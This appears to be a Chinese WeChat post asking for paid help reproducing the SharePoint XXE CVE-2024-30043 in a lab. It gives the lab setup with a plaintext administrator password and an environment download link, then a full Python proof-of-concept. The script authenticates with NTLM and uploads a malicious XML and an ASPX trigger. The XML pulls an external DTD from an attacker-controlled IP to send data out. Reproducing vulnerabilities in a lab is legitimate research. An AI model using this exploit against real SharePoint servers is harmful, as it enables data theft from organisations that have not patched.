最近这两天我在复现Microsoft Sharepoint XXE
(CVE-2024-30043
)漏洞的过程中遇到了一些问题,反复调试研究无果,折磨了很长时间,现在决定在我公众号发出悬赏,解决成功的直接后台私信我你的微信,赏金也不高,暂定一个月的疯狂星期四吧。
主要参考文章为:
https://www.zerodayinitiative.com/blog/2024/5/29/cve-2024-30043-abusing-url-parsing-confusion-to-exploit-xxe-on-sharepoint-server-and-cloud
漏洞复现环境如下:
-
Microsoft Sharepoint Server 2019
,详细大版本为16.0.10337
,域名sp2019.cve.lab
; -
Sqlserver 2019
+SSMS
,域名sqlserver.cve.lab
; -
DC
,域名dc.cve.lab
。
所有都是基于cn_windows_server_2016_x64_dvd_9327743.iso
进行搭建,虚拟机版本为VMware® Workstation 17 Pro
(17.5.0 build-22583795
)。
一共有两个账号,分别是CVE\Administrator
,密码1qaz@WSX!@#456
;另一个是CVEtest
,密码为空。
环境下载地址如下(没有会员的师傅可以淘宝购买临时1
天共享账号):
链接: https://pan.baidu.com/s/1LF7GmE8ujNEXnMw2Bi8Q_A 提取码: 5grq
具体遇到的问题如下:
按照zdi
的博客中所给出的payload
( file://localhostc$/sites/mysite/test.xml
)打过去之后,无法获得值为false
的m_Unrestricted
属性,导致后续利用失败;后来调试发现,该payload
和http://sp2019//sites/mysite/test.xml
所获取到的zone
都是internet
,导致Permissionset
为限制较大的NamePermissionset
。
相关截图如下:
官方油管视频利用成功截图:
我编写的可能的poc
脚本,用于上传xml
和aspx
到站点根目录下并访问aspx
触发xxe
:
import os
import random
import string
import requests
from requests_ntlm import HttpNtlmAuth
def GenerateRandomString(length):
characters = string.ascii_letters + string.digits
return "".join(random.choices(characters, k=length))
def GenerateEvilXmlAndAspx(variable_name, evil_dtd, sitepath):
evil_xml_content = f"""<?xml version="1.0" ?>n<!DOCTYPE a [n<!ELEMENT a ANY >n<!ENTITY % remote SYSTEM "{evil_dtd}">
%remote;n%int;n%send;n]>n<a>wat</a>"""
evil_aspx_content = f"""<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<%@ Page Language="C#" %>
<%@ Register tagprefix="SharePoint" namespace="Microsoft.SharePoint.WebControls" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<html dir="ltr" xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<meta name="WebPartPageExpansion" content="full" />
<title>{variable_name}</title>
<meta http-equiv="X-UA-Compatible" content="IE=10" />
<SharePoint:CssRegistration Name="default" runat="server"/>
</head>
<body>
<form id="form{variable_name}" runat="server">
<SharePoint:SPXmlDataSource ID="XmlDataSource{variable_name}" runat="server" DataFile="file://localhost\c${sitepath}/{variable_name}.xml" />
<asp:GridView ID="GridView{variable_name}" runat="server" DataSourceID="XmlDataSource{variable_name}" AutoGenerateColumns="true" />
</form>
</body>
</html>"""
with open(f"{variable_name}.xml", "w", encoding="utf-8", newline="") as evil_xml:
evil_xml.write(evil_xml_content)
evil_xml.close()
with open(f"{variable_name}.aspx", "w", encoding="utf-8", newline="") as evil_aspx:
evil_aspx.write(evil_aspx_content)
evil_aspx.close()
def GetAuthSesion(username, password):
session = requests.Session()
session.auth = HttpNtlmAuth(username, password)
return session
def GetSiteID(url, sitepath, proxy, session):
response = session.get(f"{url}/{sitepath}/_api/web", headers={'accept': 'application/json;odata=verbose'}, proxies=proxy)
if response.status_code == 200:
data = response.json()
site_id = data['d']['Id']
print(f'Site ID: {site_id}')
else:
print(f'Error: {response.status_code}')
print(response.text)
def UploadFilesToWebRoot(url, sitepath, proxy, filepath, session):
file_name = os.path.basename(filepath)
upload_url = f"{url}{sitepath}/_api/web/GetFolderByServerRelativeUrl('{sitepath}')/Files/add(url='{file_name}',overwrite=true)"
token_response = session.post(f"{url}{sitepath}/_api/contextinfo", headers={"Accept": "application/json;odata=verbose"}, proxies=proxy)
if token_response.status_code != 200:
print(token_response.text)
token = token_response.json()["d"]["GetContextWebInformation"]["FormDigestValue"]
with open(filepath, "rb") as file:
file_content = file.read()
file.close()
headers = {
"Accept": "application/json;odata=verbose",
"Content-Type": "application/octet-stream",
"X-RequestDigest": token
}
response = session.post(upload_url, headers=headers, data=file_content, proxies=proxy)
if response.status_code == 200:
print(f"{url}{sitepath}/{file_name}")
else:
print(response.status_code)
print(response.text)
def TriggerRce(url, sitepath, proxy, filename):
resp = requests.get(f"{url}{sitepath}/{filename}", proxies=proxy)
if __name__ == "__main__":
url = "http://sp2019/".strip("/")
sitepath = "/sites/cvetest"
# proxy = {
# "http": "127.0.0.1:8083",
# "https": "127.0.0.1:8083"
# }
proxy = None
evil_dtd = "http://192.168.198.133/dtd.xml"
username = "CVE\Administrator"
password = "1qaz@WSX!@#456"
session = GetAuthSesion(username, password)
variable_name = GenerateRandomString(8)
GetSiteID(url, sitepath, proxy, session)
GenerateEvilXmlAndAspx(variable_name, evil_dtd, sitepath)
UploadFilesToWebRoot(url, sitepath, proxy, f"{variable_name}.xml", session)
UploadFilesToWebRoot(url, sitepath, proxy, f"{variable_name}.aspx", session)
TriggerRce(url, sitepath, proxy, f"{variable_name}.aspx")
原文始发于微信公众号(追梦信安):【悬赏问答】复现疑问求解答:Microsoft Sharepoint XXE(CVE-2024-30043)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论